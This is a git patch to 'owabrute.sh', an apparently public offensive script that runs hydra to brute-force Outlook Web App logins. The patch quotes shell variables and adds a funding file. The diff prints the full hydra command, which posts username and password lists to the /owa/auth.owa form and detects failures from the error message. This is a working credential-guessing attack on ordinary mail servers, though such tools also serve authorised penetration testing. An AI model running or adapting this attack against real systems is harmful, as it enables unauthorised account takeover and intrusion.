From c5e412e4434016dcbcd1fc834c9237d0f9a9e392 Mon Sep 17 00:00:00 2001 From: p0dalirius Date: Sun, 26 Sep 2021 17:00:16 +0200 Subject: [PATCH] Fixed unquoted variables --- .github/FUNDING.yml | 4 ++++ owabrute.sh | 16 ++++++++-------- 2 files changed, 12 insertions(+), 8 deletions(-) create mode 100644 .github/FUNDING.yml diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..5b8e6dd --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,4 @@ +# These are supported funding model platforms + +github: p0dalirius +patreon: Podalirius diff --git a/owabrute.sh b/owabrute.sh index bf4fe03..2dc510d 100644 --- a/owabrute.sh +++ b/owabrute.sh @@ -27,10 +27,10 @@ owabrute(){ local PASSLIST="${3}" hydra -V \ - -L ${PASSLIST} \ + -L "${PASSLIST}" \ -e s \ - -P ${USERSLIST} \ - ${DOMAIN} \ + -P "${USERSLIST}" \ + "${DOMAIN}" \ https-post-form "/owa/auth.owa:flags=4&destination=https\://${DOMAIN}/owa/&forcedownlevel=0&username=^USER^&password=^PASS^&isUtf8=1:F=The user name or password" fi fi @@ -55,14 +55,14 @@ else PASSLIST="" while getopts d:u:p:h: option; do case "${option}" in - d) DOMAIN=${OPTARG};; - u) USERSLIST=${OPTARG};; - p) PASSLIST=${OPTARG};; + d) DOMAIN="${OPTARG}";; + u) USERSLIST="${OPTARG}";; + p) PASSLIST="${OPTARG}";; h) usage;; esac done - if [[ ${DOMAIN} == "" ]] || [[ ${USERSLIST} == "" ]] || [[ ${PASSLIST} == "" ]]; then + if [[ "${DOMAIN}" == "" ]] || [[ "${USERSLIST}" == "" ]] || [[ "${PASSLIST}" == "" ]]; then usage else echo "${HEADER}" @@ -83,7 +83,7 @@ else if [ ! -f "${USERSLIST}" ] || [ ! -f "${PASSLIST}" ]; then echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m Some resources could not be accessed. Aborting..." else - owabrute ${DOMAIN} ${USERSLIST} ${PASSLIST} + owabrute "${DOMAIN}" "${USERSLIST}" "${PASSLIST}" fi fi fi